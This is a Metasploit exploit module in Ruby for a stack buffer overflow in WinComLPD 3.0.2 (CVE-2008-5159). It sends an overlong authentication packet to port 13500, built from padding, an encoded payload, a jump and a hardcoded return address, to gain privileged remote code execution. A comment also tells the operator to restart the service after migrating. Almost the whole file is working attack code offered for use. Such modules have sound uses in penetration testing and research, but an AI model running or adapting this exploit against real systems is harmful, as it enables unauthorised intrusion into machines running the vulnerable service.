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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'WinComLPD Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
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        By sending an overly long authentication packet to the remote
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        administration service, an attacker may be able to execute arbitrary
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        code.
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      },
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      'Author'         => 'MC',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2008-5159'],
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          ['OSVDB', '42861'],
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          ['BID', '27614'],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 600,
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          'BadChars' => "\x00\x0a",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'WinComLPD 3.0.2.623',   { 'Ret' => 0x0047d7a7 } ],
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        ],
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      'Privileged'     => true,
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      'DisclosureDate' => '2008-02-04',
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      'DefaultTarget'  => 0))
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    register_options([Opt::RPORT(13500)], self)
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  end
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  def exploit
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    connect
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    # 'net start lpdservice' after you migrate!
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    sploit =  "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
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    sploit << make_nops(872 - payload.encoded.length)
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    sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
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    sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
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    sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)
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    print_status("Trying target #{target.name}...")
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    sock.puts(sploit)
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    select(nil,nil,nil,5)
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    handler
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    disconnect
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  end
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end
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